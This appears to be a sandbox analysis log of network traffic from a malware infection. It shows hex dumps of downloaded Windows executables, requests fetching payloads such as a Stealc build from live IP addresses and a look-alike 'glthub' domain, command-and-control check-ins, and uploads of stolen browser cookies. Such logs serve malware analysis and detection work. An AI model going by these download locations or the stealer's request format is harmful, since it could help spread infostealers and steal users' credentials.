00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 14:18:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 14:19:02 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Fri, 27 Sep 2024 14:10:20 GMTETag: "11d000-6231a6a5cf580"Accept-Ranges: bytesContent-Length: 1167360Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 c4 bc f6 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 20 08 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 12 00 00 04 00 00 b0 f3 11 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 64 64 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 11 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 64 64 04 00 00 40 0d 00 00 66 04 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 b0 11 00 00 76 00 00 00 5a 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Sep 2024 14:19:08 GMTContent-Type: application/octet-streamContent-Length: 1940480Last-Modified: Fri, 27 Sep 2024 14:11:16 GMTConnection: keep-aliveETag: "66f6bd04-1d9c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 f0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 4d 00 00 04 00 00 b9 fd 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 cf 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 ce 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 75 74 6c 6a 67 7a 64 00 90 1a 00 00 50 32 00 00 82 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 68 74 65 77 6c 61 7a 00 10 00 00 00 e0 4c 00 00 04 00 00 00 76 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 4c 00 00 22 00 00 00 7a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /file1.exe HTTP/1.1Host: glthub.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/Microsoft-Edge.exe HTTP/1.1Host: eijfrhegrtbrfcd.online
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 46 41 37 34 33 43 45 46 46 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFFFA743CEFFFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: GET /inc/gold.exe HTTP/1.1Host: 185.215.113.117
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000002001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /12dsvc.exe HTTP/1.1Host: 194.116.215.195
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000004001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /Nework.exe HTTP/1.1Host: 185.215.113.26
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000005001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /inc/stealc_default2.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.17Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 36 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000066001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAAFBGDBKJJJKFIIIJJHost: 185.215.113.17Content-Length: 215Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 35 45 30 31 35 42 38 41 39 38 32 33 33 33 33 36 34 31 39 32 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 32 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 2d 2d 0d 0a Data Ascii: ------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="hwid"A95E015B8A982333364192------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="build"default2------IDAAFBGDBKJJJKFIIIJJ--
Source: global traffic	HTTP traffic detected: GET /inc/needmoney.exe HTTP/1.1Host: 185.215.113.117
Source: global traffic	HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKECFIEBGCAKJKECGCFIHost: 185.215.113.17Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 35 30 63 30 62 37 31 65 63 61 62 35 61 62 32 37 34 66 35 66 62 61 63 38 64 66 65 36 34 64 38 62 31 31 32 35 32 38 31 37 61 61 32 63 36 32 62 38 64 61 34 39 64 37 35 31 66 33 32 36 38 32 65 64 61 61 65 32 63 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 2d 2d 0d 0a Data Ascii: ------KKECFIEBGCAKJKECGCFIContent-Disposition: form-data; name="token"3350c0b71ecab5ab274f5fbac8dfe64d8b11252817aa2c62b8da49d751f32682edaae2cc------KKECFIEBGCAKJKECGCFIContent-Disposition: form-data; name="message"browsers------KKECFIEBGCAKJKECGCFI--
Source: global traffic	HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKKJJJKJKFHJJJJECBFHost: 185.215.113.17Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 35 30 63 30 62 37 31 65 63 61 62 35 61 62 32 37 34 66 35 66 62 61 63 38 64 66 65 36 34 64 38 62 31 31 32 35 32 38 31 37 61 61 32 63 36 32 62 38 64 61 34 39 64 37 35 31 66 33 32 36 38 32 65 64 61 61 65 32 63 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 2d 2d 0d 0a Data Ascii: ------JKKKJJJKJKFHJJJJECBFContent-Disposition: form-data; name="token"3350c0b71ecab5ab274f5fbac8dfe64d8b11252817aa2c62b8da49d751f32682edaae2cc------JKKKJJJKJKFHJJJJECBFContent-Disposition: form-data; name="message"plugins------JKKKJJJKJKFHJJJJECBF--
Source: global traffic	HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEGCGCGIEGDHIDHJJEHHost: 185.215.113.17Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 35 30 63 30 62 37 31 65 63 61 62 35 61 62 32 37 34 66 35 66 62 61 63 38 64 66 65 36 34 64 38 62 31 31 32 35 32 38 31 37 61 61 32 63 36 32 62 38 64 61 34 39 64 37 35 31 66 33 32 36 38 32 65 64 61 61 65 32 63 63 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 48 2d 2d 0d 0a Data Ascii: ------BAEGCGCGIEGDHIDHJJEHContent-Disposition: form-data; name="token"3350c0b71ecab5ab274f5fbac8dfe64d8b11252817aa2c62b8da49d751f32682edaae2cc------BAEGCGCGIEGDHIDHJJEHContent-Disposition: form-data; name="message"fplugins------BAEGCGCGIEGDHIDHJJEH--
Source: global traffic	HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFIDGIIIJDBGDGDAKKFHost: 185.215.113.17Content-Length: 7015Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /f1ddeb6592c03206/sqlite3.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCGDBGCAAEBFIECGHDGHost: 185.215.113.17Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 35 30 63 30 62 37 31 65 63 61 62 35 61 62 32 37 34 66 35 66 62 61 63 38 64 66 65 36 34 64 38 62 31 31 32 35 32 38 31 37 61 61 32 63 36 32 62 38 64 61 34 39 64 37 35 31 66 33 32 36 38 32 65 64 61 61 65 32 63 63 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 77 4f 44 41 79 43 55 35 4a 52 41 6b 31 4d 54 45 39 56 55 4a 6c 54 6b 4e 72 57 6a 4e 4d 4f 48 6c 59 59 33 67 34 63 57 67 30 53 6b 5a 56 57 47 74 33 61 30 35 44 4f 55 6c 79 5a 47 6c 53 5a 47 4a 71 55 31 52 71 63 56 4e 70 52 6d 67 34 56 33 4a 53 59 32 4a 4c 63 6c 39 79 54 30 70 69 5a 30 68 5a 4e 6c 52 42 4e 46 4a 55 4c 54 5a 77 63 7a 42 69 61 47 56 74 5a 6e 64 44 55 45 4a 7a 54 45 31 6e 55 46 51 33 4c 57 64 55 59 31 64 78 53 48 5a 61 64 6c 70 69 59 57 5a 50 63 47 74 78 55 6e 6b 77 5a 45 78 35 57 55 63 35 51 57 70 51 4d 6e 5a 69 56 55 4a 76 62 57 46 79 62 6d 4d 35 63 47 4e 61 56 6d 78 6f 53 47 74 56 5a 56 56 68 56 30 31 31 63 6b 51 77 52 30 64 59 65 56 63 77 4e 56 39 43 58 7a 46 4a 65 56 56 4f 57 55 56 46 54 47 31 35 63 56 4a 6e 43 69 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 43 56 52 53 56 55 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 6a 6b 35 4d 44 63 78 4e 6a 51 77 43 54 46 51 58 30 70 42 55 67 6b 79 4d 44 49 7a 4c 54 45 77 4c 54 41 31 4c 54 41 32 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 2d 2d 0d 0a Data Ascii: ------DGCGDBGCAAEBFIECGHDGContent-Disposition: form-data; name="token"3350c0b71ecab5ab274f5fbac8dfe64d8b11252817aa2c62b8da49d751f32682edaae2cc------DGCGDBGCAAEBFIECGHDGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DGCGDBGCAAEBFIECGHDGContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nU
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 31 39 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000191001&unit=246122658369
